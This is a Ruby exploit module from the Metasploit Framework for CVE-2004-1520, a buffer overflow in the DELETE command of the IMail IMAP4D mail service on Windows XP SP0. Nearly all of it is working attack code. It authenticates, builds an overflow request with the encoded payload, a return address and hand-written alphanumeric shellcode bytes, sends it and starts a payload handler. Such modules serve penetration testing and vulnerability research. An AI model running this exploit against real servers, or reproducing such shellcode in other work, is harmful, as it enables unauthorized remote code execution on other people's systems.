### $Id: imail_delete.rb 10394 2010-09-20 08:06:27Z jduck $##### This file is part of the Metasploit Framework and may be subject to# redistribution and commercial restrictions. Please see the Metasploit# Framework web site for more information on licensing and terms of use.# http://metasploit.com/framework/##
require 'msf/core'class Metasploit3 < Msf::Exploit::Remote
Rank = AverageRanking
include Msf::Exploit::Remote::Imap
def initialize(info = {})
super(update_info(info,'Name' => 'IMail IMAP4D Delete Overflow','Description'=> %q{
This module exploits a buffer overflow in the 'DELETE'
command of the the IMail IMAP4D service. This vulnerability
can only be exploited with a valid username and password.
This flaw was patched in version 8.14.},'Author' => ['spoonm'],'License'=> MSF_LICENSE,'Version'=> '$Revision: 10394 $','References' =>
[['CVE','2004-1520'],['OSVDB','11838'],['BID','11675'],],'Privileged' => true,'DefaultOptions' =>
{'EXITFUNC'=> 'thread',},'Payload'=>
{'Space'=> 614,'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),'StackAdjustment' => -3500,'EncoderOptions' =>
{'BufferRegister' => 'EDX',}},'Platform' => 'win','Targets'=>
[# alphanum rets :(, will look more into it later['Windows XP sp0 comctl32.dll',{'Ret' => 0x77364650 }],],'DisclosureDate' => 'Nov 12 2004','DefaultTarget' => 0))end
def exploit
connect_login
print_status("Sending overflow string...")
req = 'A683 DELETE '
req << payload.encoded
# Jump over code
req << "\x74\x32\x75\x30"
req << [target.ret].pack('V')
req << rand_text_alphanumeric(44)# GetEIP code
req << "\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x4c\x5a\x6a\x31\x59"
req << "\x6b\x42\x34\x49\x30\x42\x4e\x42\x49\x75\x50\x4a\x4a\x52\x52\x59"# Alphanumeric jmp back (edx context)
req << "\x6a\x6a\x58\x30\x42\x31\x50\x41\x42\x6b\x42\x41"
req << "\x7a\x42\x32\x42\x41\x32\x41\x41\x30\x41\x41\x58\x38\x42\x42\x50"
req << "\x75\x4a\x49\x52\x7a\x71\x4a\x4d\x51\x7a\x4a\x6c\x55\x66\x62\x57"
req << "\x70\x55\x50\x4b\x4f\x6b\x52\x6a"# Run off the stack, so we don't kill our payload, or something...
req << rand_text_alphanumeric(600)# Terminate the request
req << "\r\n"
sock.put(req)
handler
disconnect
endend